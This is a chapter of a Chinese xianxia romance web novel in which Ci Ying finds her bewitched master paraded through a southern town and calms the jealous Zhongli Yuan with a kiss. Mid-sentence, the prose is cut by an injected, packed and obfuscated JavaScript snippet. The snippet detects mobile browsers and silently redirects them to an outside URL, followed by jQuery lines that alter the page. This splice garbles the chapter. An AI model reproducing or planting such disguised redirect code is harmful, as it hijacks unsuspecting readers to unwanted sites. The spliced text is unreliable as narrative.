57. 南疆
作品:《修仙大佬人均恋爱脑?》 隔壁那一桌人多势众,哪里肯吃这亏,纷纷亮出兵刃,将他团团围住。挨了耳光的那人捂着脸骂道:“我当是谁呢,原来是软饭剑宗的人!你们宗主眼看都要入赘玄武教了,还有脸在这耀武扬威?依我看,不如直接并入玄武教,改叫水云软饭分派得了!”
众人哄笑,那人正欲再添几句,嘴巴一张,却发不出声。正纳闷间,整个人像被人从背后狠狠踹了一脚,猛地扑在地上。
清脆的铃声骤然响起,下一刻,周围的人惨叫连连,不知被什么打得东倒西歪,一边求饶一边仓皇外逃。
鹅黄衫裙的少女摇着腕铃从角落里跃出,一把抓住江羡之的手臂,嗔怪道:“你看,伤口又裂开了。那样的人,也值得你动手么?”
辞盈这才注意到,江羡之右臂衣袖已被鲜血浸透,惊呼:“二师兄!”
江羡之一见她,喜出望外:“小盈,你怎么在这……”话说到一半,目光扫到她身后还坐着一位,硬生生噎住了似的,讪讪地闭了嘴。
辞盈走过去,对白芷点了点头,又问:“你这伤怎么弄的?”
江羡之却愁眉苦脸地答非所问:“师尊被他们偷走了!”
“啊?”
辞盈愣愣地反应了几秒,脑海里电光火石般闪过之前在谢家堡客栈楼下碰见萧无忧的画面。
当时她心系楼上,生怕钟离渊被人发现,只着急嘻嘻哈哈把萧无忧糊弄走,却没多想萧无忧为什么同样神色慌张。
那轿帘撩起的瞬间,隐约露出的白衣一角,萧无忧反常的客气,近乎逃跑一样仓皇的神态……
她怎么竟没想到,车里躺的就是昏迷的墨让尘?!
堂堂玄武教主竟然纵女“偷人”,简直无耻!
江羡之道:“那天你不在场,还不知道吧。九曜派的混账趁师尊昏迷不醒就来挑衅,暮苍山上乱作一团,伤亡不少弟子,连我也差点死在胡四手里。刚好赶上……”
他瞄了不远处一眼,钟离渊正翘着二郎腿,懒洋洋地把玩着手里的竹筷子,冷白的脸上看不出喜怒,只一副事不关己的样子。
江羡之清了清嗓子,又道:“赶上钟离渊不知道为什么忽然跑来闹事,反倒救了我一命。”
辞盈不自觉看向钟离渊,他立刻展颜一笑,顽童似地眨眨眼。
她又转回头来:“我知道,你接着说。”
江羡之道:“等他走后,三大派都损兵折将,无力再战,于是便讲和了,各自回去休整。我一醒过来立刻回去云麓殿,可是师尊已经不见了,玄武教上下早就撤了个干干净净。”
“定是那萧无忧垂涎师尊已久,上门求亲又被拒,这才趁乱掳走师尊。我主张立刻带人去追,可我爹不允,说此时剑宗空虚,要全力驻守以防九曜派再来偷袭,无奈之下,我只好自己来南疆一探虚实。白芷不放心,便陪我同来了。”
说到这,他温情脉脉地看向白芷,连声音也柔和许多。
辞盈耐心等着他俩眉目传情了七八个回合,问:“然后呢?”
“哦。”江羡之转过来道,“我上门要人,萧阳做贼心虚,不敢露面,只派了他常随的黑脸怪出来见我。”
萧阳有两个常随的得力助手,一个脸黑如炭,一个脸白赛鬼,长得奇丑无比,人称黑白双煞。白脸怪鲜少有人见过,只在暗处替他做事跑腿。黑脸怪就整日跟在萧阳身边,指哪打哪。
“可惜我技不如人……”江羡之愤恨地一拳砸在桌上,手臂上又渗出血来,急得白芷直跺脚:“你再这样我就不理你了!”
“好好,我不乱动了。”江羡之连忙道。
辞盈余光瞄到旁边的钟离渊,那是什么表情啊,怎么感觉可怜巴巴的,好像流浪狗在路边碰见宠物狗一样满脸艳羡。
奇怪,他难道是在羡慕江羡之吗?怎么搞得好像自己虐待他了一样。
辞盈甩甩杂念,又问:“我听方才那人言语之间的意思,竟然说师尊要入赘玄武教?”
“胡言乱语!”江羡之立刻否认,“当日在云麓殿萧阳有意嫁女,师尊已经明确表态拒绝,如今怎么可能反而同意入赘!”
辞盈认真思索道:“萧无忧既然爱慕师尊,千辛万苦把他偷回去,大抵不是为了伤害他。只是师尊若已经醒了,为何不回水云剑宗?他若想走,谁能拦得住他?除非……”
“萧无忧定是用了缚仙索将师尊囚禁在水牢之类的地方,准备强行逼婚。”江羡之忧心忡忡道。
我嘞个强制爱啊?
辞盈想象一下那画面,深吸了一口气。
魔教妖女果然奔放会玩。
可是萧阳这步棋,绝不仅仅为了支持女儿谈谈恋爱,酱酱酿酿那么简单。水云剑宗全靠墨让尘一力支撑,如今玄武教对外声称墨让尘要入赘,那下一步要吞并剑宗就变得顺理成章了。
辞盈斩钉截铁道:“绝不能让萧无忧得逞。”
江羡之闻言,精神为之一振:“我就知道,你果然还是在乎师尊的!对,绝不能让师尊与萧无忧成亲!”
辞盈:“……”
不要过度解读啊亲。
她瞥见钟离渊晴转多云的脸,忍不住瞪了江羡之一眼。
说话间,窗外钟鼓声铛铛作响,夹杂着象鸣牛叫,热闹非凡。辞盈凑到窗前向外望,一队人马声势浩大,将本来还算宽敞的道路塞的满满当当。
兽群过后,紧接着一群腰缠红鼓,怀抱琵琶,手持金钹的人,敲锣打鼓自带BGM,浩浩荡荡,招摇过市,引来无数人沿街围观。
再往后,又跟着两排婷婷袅袅的少女,手捧花篮,纤纤素手撒落漫天花瓣雨。
白芷奇怪道:“这是做法呢?还是提前过年了?”
辞盈摇摇头:“好嚣张的样子,估计是当地的土财主显摆什么呢。”
高头大马气宇轩昂缓缓而来,威风凛凛地踏碎满地花瓣,背上二人共骑。萧无忧虽然艳若桃李,又穿得清凉,却丝毫不见羞怯之色,满面春风,脖颈扬得比马还高,活像个迎亲的新郎官。
“你们看!”白芷低声惊呼,“她身后那人是……墨宗主!”
马背上的白衣青年腰杆笔直,衣袂飞扬,腰间还配着醉花剑,可不正是如假包换的墨让尘么!
他双手绕过萧无忧挽住缰绳,正是将她环在怀中的姿势,看起来郎才女貌,倒也十分般配。
“怎么会……”江羡之像被雷劈了似的,错愕地喃喃道,“这不可能。”
人群议论纷纷——
“这人是水云剑宗的宗主?生得这么俊美,我还当是醉仙楼新来的花魁呢!”
“低声些,什么花魁,眼看人家就是萧教主的女婿啦。”
“也难怪他扔下水云剑宗,千里迢迢跑来做上门女婿,咱们教主千金这般姿容家世,谁能不动心?”
“哼,好色之徒,不过如此。”
“你这是吃不着葡萄就说酸,你想入赘人家还瞧不上呢。”
辞盈二话不说,抓起手边的瓷杯,运劲朝墨让尘掷去。
试试吧,如果真是师尊,就不可能轻易被她的小破杯伤到。
江羡之忙道:“小师妹你先别气,师尊不会轻易变心的!”
辞盈:“……”
三颗脑袋挤在窗前,只有钟离渊还坐在椅子上,沉默地注视着辞盈的背影,下颌紧绷,薄唇微抿。
瓷杯当啷坠地,墨让尘只动了动手指便稳稳避开,身形依旧端坐马背纹丝未动,目视前方,却也不去寻找偷袭的人。
这不太对……师尊怎么一股人机味儿?
辞盈回头又抓起好几个碗,嗖嗖嗖一连串飞出去。
江羡之道:“不行,小师妹要气坏了,白芷你快帮我劝劝。”
白芷道:“我最恨见异思迁的男人了,我帮你砸。”说罢,抄起酒壶扔了出去。
江羡之道:“师尊才不会见异思迁,他心里从来都只有小师妹,如果不是那个钟离渊半路上横刀夺爱……”
辞盈道:“闭嘴!”
稀里哗啦,大碗小碟碎
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17205133|195737||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
了一地,萧无忧抬头怒骂:“是谁在捣乱,给我滚出来!”
看看,这才是正常人被砸的反应好嘛!
辞盈直接从窗口跃下,一路踩着锣鼓队的肩膀,足下生风,转眼便奔到萧无忧面前。江羡之和白芷连忙紧随其后,白芷上下打量萧无忧,嘲讽道:“看你长得人模人样,怎么竟是个贼?”
萧无忧稳坐马背,居高临下地轻蔑道:“你是什么东西,竟敢拦我的路?”
江羡之不理她,径直奔向墨让尘唤道:“师尊!”
墨让尘恍若未闻,依旧平静如水地目视前方。
白芷怒道:“定是你这妖女施了巫术,人家不要你你就使诈,好不要脸!”
萧无忧抽出腰间软鞭一指白芷:“你说对了,但我不光巫术厉害,鞭子更厉害!”说完长鞭破空,啪啪作响朝白芷劈下。
江羡之迅速闪身回来,扯住鞭子,用力一带,将萧无忧从马背拉扯下来。
萧无忧就地一滚,面有怒色,回头道:“墨让尘,替我杀了他们!”
墨让尘微微侧首,目光落在江羡之身上,醉花剑缓缓出鞘。
江羡之一愣,讷然道:“师尊,我是羡之啊……”
下一秒,凛冽的剑气如白虹贯日,直刺向江羡之的胸膛!
辞盈一脚踹翻还在发呆的江羡之:“愣着做什么,他真的会杀了你!”
话音未落,醉花剑尖猛转刺来,几乎要触到她的眉心。
辞盈侧身避开,擦肩而过的瞬间,她忍不住唤道:“师尊!”
一瞬间,墨让尘混沌的双眸似乎恢复了短暂的清明,对上她焦急的目光,持剑的手僵了一下。
“师尊,是我啊!”
墨让尘举着剑,嘴唇翕动,似乎有话要对她说,眼中焦距却渐渐模糊,苍白的手又一次握紧了剑柄,凌厉无匹的剑气排山倒海压来。
辞盈来不及躲避,幸亏被人拎着后衣领甩到一旁,堪堪避开了横扫千钧的剑刃。
钟离渊面无表情挡在她身前,冷如寒潭地盯着墨让尘。
辞盈从地上轱辘起来:“太好了,钟离渊,你愿意帮我救师尊,这太好了!”
“救他?”钟离渊瞥了眼兴高采烈的她,又转回头,嘴角泛起一抹冷笑,眼神愈发阴鸷:
“可以啊,如果杀了他也算救的话。”
猝不及防地,红光暴击直接将墨让尘所站的位置砸出一个两米深坑。
墨让尘早已旋身避开,执剑木然立在一旁。然而他天生眼角尖而眼尾翘,哪怕人淡如菊,看起来也充满孤高挑衅的意味。
钟离渊咬牙道:“来啊,让我看看你究竟有什么过人之处。”
不是,你跟一个人机较什么劲啊?
辞盈扯住他袖口,生气道:“你又干嘛,抽什么疯?”
钟离渊眼眶微红:“你又要跟他走了,对不对!还要我救他,你当我是什么?召之即来挥之即去的玩具吗!”
辞盈皱眉:“我何时把你当玩具了?召之即来不是你给我的特权吗,怎么反过来怪我?”
“没错,是我给你的特权,是我一厢情愿,是我横刀夺爱,”钟离渊眼中杀气翻涌,
“今日,我便是非要横刀夺爱不可了。”
眼看这家伙相思咒又上头了,继续任由他疯下去,不仅救不了墨让尘,还可能闹出人命。辞盈没办法,扯着他袖子恶狠狠道:“你,跟我过来!”
钟离渊满面怒容:“我哪都不去!”
好好好,非要逼我社死是吧。
她踮起脚,搂住钟离渊的脖子,嘴巴狠狠贴上去,在众人错愕的目光中,对着面前僵硬的醋王不分轻重一通啃咬。
有了上一次的教训,她就知道醋王这个德性什么大道理听不进去,只有这一招管用。
“现在还生气吗?”她凶巴巴地问。
钟离渊僵硬了片刻,立刻对这个吻接受良好,连声音也轻柔了许多,意犹未尽地舔了舔嘴唇:“那你……还会不会离开我?”

